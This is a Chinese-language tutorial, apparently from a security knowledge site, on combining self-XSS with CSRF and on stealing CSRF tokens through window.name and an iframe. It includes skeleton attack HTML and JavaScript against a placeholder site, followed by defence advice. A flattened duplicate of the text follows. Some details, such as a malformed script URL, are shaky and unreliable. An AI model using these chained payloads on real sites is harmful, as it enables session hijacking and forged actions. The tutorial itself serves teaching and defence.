骚姿势:当XSS与CSRF相遇
字数 969 2025-08-18 11:37:37

XSS与CSRF联合攻击技术分析

1. 利用CSRF盗取SELF-XSS的Cookie

攻击场景

  • 网站A存在SELF-XSS漏洞(如用户昵称处)
  • 该XSS无法被其他用户直接看到(无留言板等功能)
  • 网站A同时存在CSRF漏洞

攻击步骤

  1. 构造恶意网站B

    • 包含CSRF payload,用于修改用户在A网站的昵称为XSS payload
    • 示例CSRF代码:
    <form action="https://siteA.com/update_nickname" method="POST">
      <input type="hidden" name="nickname" value="<script>恶意代码</script>">
    </form>
    <script>document.forms[0].submit();</script>
    
  2. 诱导用户访问

    • 用户访问恶意网站B时,CSRF payload自动执行
    • 用户在A网站的昵称被修改为XSS payload
  3. 触发XSS

    • 用户再次访问A网站时,页面显示昵称触发XSS
    • XSS payload将用户Cookie发送给攻击者

技术要点

  • 将原本无用的SELF-XSS转化为可利用漏洞
  • 利用大型可信网站作为跳板增加成功率
  • 绕过HTTP-ONLY限制(通过直接执行操作而非窃取Cookie)

2. 利用XSS窃取CSRF防御Token

攻击场景

  • 网站A使用Token防御CSRF
  • 网站A同时存在XSS漏洞

攻击步骤

第一阶段:获取Token

  1. 构造XSS payload

    • 获取页面中的CSRF Token
    • 将Token赋值给window.name
    • 示例:
    var token = document.querySelector('input[name="csrf_token"]').value;
    window.name = token;
    
  2. 嵌入恶意URL

    • 将XSS payload嵌入A网站的URL中

第二阶段:跨域获取Token

  1. 创建恶意网站B
    • 包含以下JS代码:
    // 创建iframe加载带有XSS的A网站页面
    var iframe = document.createElement('iframe');
    iframe.src = 'https://siteA.com/vulnerable_page?xss=<script>...<script>';
    document.body.appendChild(iframe);
    
    // 延迟执行以确保XSS完成
    setTimeout(function() {
      // 修改iframe源为同源页面
      iframe.contentWindow.location = 'about:blank';
    
      // 获取window.name中的Token
      var token = iframe.contentWindow.name;
    
      // 销毁iframe
      document.body.removeChild(iframe);
    
      // 使用Token发起CSRF攻击
      launchCsrfAttack(token);
    }, 2000);
    

第三阶段:发起CSRF攻击

  • 使用获取的Token构造合法请求
  • 示例:
function launchCsrfAttack(token) {
  var form = document.createElement('form');
  form.action = 'https://siteA.com/sensitive_action';
  form.method = 'POST';
  
  var input = document.createElement('input');
  input.type = 'hidden';
  input.name = 'csrf_token';
  input.value = token;
  form.appendChild(input);
  
  // 添加其他必要参数...
  
  document.body.appendChild(form);
  form.submit();
}

技术要点

  • 利用window.name的跨域特性传递Token
  • 通过修改iframe源绕过同源策略限制
  • window.name在页面跳转后保持不变
  • 实现两阶段攻击:先获取Token,再发起CSRF

防御建议

针对SELF-XSS+CSRF攻击

  1. 实施严格的CSP策略
  2. 对用户输入进行严格过滤和转义
  3. 为敏感操作添加CSRF Token
  4. 检查Referer头部

针对XSS+Token窃取攻击

  1. 加强XSS防护:

    • 输入输出过滤
    • 内容安全策略(CSP)
    • HttpOnly标志
  2. 增强CSRF Token保护:

    • 将Token存储在HttpOnly Cookie中
    • 使用每次请求更换的Token
    • 检查Token与用户会话的绑定关系
  3. 限制跨域通信:

    • 设置X-Frame-Options头部
    • 使用SameSite Cookie属性
XSS与CSRF联合攻击技术分析 1. 利用CSRF盗取SELF-XSS的Cookie 攻击场景 网站A存在SELF-XSS漏洞(如用户昵称处) 该XSS无法被其他用户直接看到(无留言板等功能) 网站A同时存在CSRF漏洞 攻击步骤 构造恶意网站B : 包含CSRF payload,用于修改用户在A网站的昵称为XSS payload 示例CSRF代码: 诱导用户访问 : 用户访问恶意网站B时,CSRF payload自动执行 用户在A网站的昵称被修改为XSS payload 触发XSS : 用户再次访问A网站时,页面显示昵称触发XSS XSS payload将用户Cookie发送给攻击者 技术要点 将原本无用的SELF-XSS转化为可利用漏洞 利用大型可信网站作为跳板增加成功率 绕过HTTP-ONLY限制(通过直接执行操作而非窃取Cookie) 2. 利用XSS窃取CSRF防御Token 攻击场景 网站A使用Token防御CSRF 网站A同时存在XSS漏洞 攻击步骤 第一阶段:获取Token 构造XSS payload : 获取页面中的CSRF Token 将Token赋值给window.name 示例: 嵌入恶意URL : 将XSS payload嵌入A网站的URL中 第二阶段:跨域获取Token 创建恶意网站B : 包含以下JS代码: 第三阶段:发起CSRF攻击 使用获取的Token构造合法请求 示例: 技术要点 利用window.name的跨域特性传递Token 通过修改iframe源绕过同源策略限制 window.name在页面跳转后保持不变 实现两阶段攻击:先获取Token,再发起CSRF 防御建议 针对SELF-XSS+CSRF攻击 实施严格的CSP策略 对用户输入进行严格过滤和转义 为敏感操作添加CSRF Token 检查Referer头部 针对XSS+Token窃取攻击 加强XSS防护: 输入输出过滤 内容安全策略(CSP) HttpOnly标志 增强CSRF Token保护: 将Token存储在HttpOnly Cookie中 使用每次请求更换的Token 检查Token与用户会话的绑定关系 限制跨域通信: 设置X-Frame-Options头部 使用SameSite Cookie属性